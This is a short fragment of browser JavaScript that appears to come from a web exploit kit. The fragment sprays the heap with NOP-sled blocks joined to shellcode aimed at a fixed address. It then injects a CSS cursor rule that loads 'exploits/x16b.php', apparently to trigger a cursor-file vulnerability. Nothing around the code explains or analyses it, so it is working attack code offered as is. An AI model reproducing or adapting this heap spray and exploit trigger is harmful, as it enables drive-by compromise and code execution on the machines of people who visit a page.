if(!success){
var shellcode=unescape(shellco+'%u3631');
var SizeOfHeapEntry=0x28;
var heapSprayToAddress=0x04060406;
var payLoadSize=shellcode.length*2;
var heapBlockSize=0x400000;
var spraySlide=unescape("%u9090%u9090");
var spraySlideSize=heapBlockSize-(payLoadSize+SizeOfHeapEntry);
var heapBlocks=(heapSprayToAddress-01000000)/heapBlockSize;
while (spraySlide.length*2<spraySlideSize){spraySlide+=spraySlide;}
spraySlide=spraySlide.substring(0,spraySlideSize/2);
var memory=new Array();
for(i=0;i<heapBlocks;i++){memory[i]=spraySlide+shellcode}
document.write('<style>BODY{CURSOR:url("exploits/x16b.php")}</style>');
}